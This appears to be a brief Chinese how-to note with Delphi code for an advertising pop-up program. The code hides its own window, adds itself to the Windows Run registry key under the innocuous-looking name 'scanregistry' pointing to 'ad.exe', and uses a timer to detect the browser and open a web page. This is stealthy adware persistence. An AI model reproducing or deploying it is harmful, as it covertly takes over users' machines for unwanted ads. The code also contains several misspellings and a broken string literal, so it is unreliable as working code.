写弹窗

begin

applivation.showmainform:=false;//隐藏窗体

reg:=tregistry.create;

reg.rootkey:=HKEY_LOCAL_MACHINE;

reg.openkey('SHFTWARE\MICROSOFT\Windows\CurrentVersion\run',true);

reg.writestring('scanregistry','ad.exe');

reg.closekey;

reg.free;

end;

变量是：reg:tregistry;

单元registry;

timer1控件

hWnd:=FindWindow('iefrome',nil);//查找浏览器

if hwnd<>0 then

shellExecute(0,'open','iexplore.exe','http://www.baidu.com''',SW_shownormal);

在变量中添加

设置时间！

wnd:THandle;